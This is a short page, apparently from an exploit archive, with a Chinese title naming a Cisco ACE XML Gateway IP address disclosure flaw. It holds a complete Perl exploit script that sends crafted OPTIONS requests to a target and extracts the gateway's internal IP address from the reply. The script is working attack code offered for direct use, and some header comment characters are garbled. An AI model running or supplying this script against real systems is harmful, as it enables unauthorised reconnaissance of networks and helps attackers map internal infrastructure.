Cisco应用控制引擎(ACE) XML网关IP地址信息泄漏漏洞

#!/usr/bin/perl -w # # Cisco ACE XML Gateway <= 6.0 # Internal IP Address Disclosure # # -=- PRIV8 -=- 0day -=- PRIV8 -=- 0day -=- PRIV8 -=- # # -[nitr豼s]- [ Alejandro Hernandez H. ] # nitrousenador -at- gmail -dot- com # http://www.brainoverflow.org # # Mexic?/ 25-Aug-2刎9 # # -=- PUBLIC NOW -=- # Published on September 24th, 2009 # # ADVISORY: http://www.brainoverflow.org/advisories/cisco_ace_xml_gw_ip_disclosure.txt # use strict; use Socket qw/ :DEFAULT :crlf /; # $CRLF use IO::Socket; sub header { print " .+==================================+.\n"; print " / Cisco ACE XML Gateway <= 6.0 \\\n"; print "| Internal IP Address Disclosure |\n"; print "| |\n"; print " \\ -nitr0us- /\n"; print " `+==================================+`\n\n"; } sub usage { header; print "Usage: $0 <host> [port(default 80)]\n"; exit 0xdead; } my $host = shift || usage; my $port = shift || 80; my $axg; my $axg_response; my @payloads = ("OPTIONS / HTTP/1.0" . $CRLF . $CRLF, "OPTIONS / HTTP/1.1" . $CRLF . "Host: " . $host . $CRLF . $CRLF); header; print "[+] Connecting to $host on port $port ...\n"; for(@payloads){ $axg = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp') or die "[-] Could not create socket: $!\n"; print "[+] Sending payload ...\n"; print $axg $_; $axg->read($axg_response, 1024); print "[+] Parsing response ...\n"; if($axg_response =~ /Client IP: (.*)/){ print "[+] Internal IP disclosure: $1\n"; $axg->close(); exit 0xbabe; } $axg->close(); } print "[-] Not vulnerable !\n";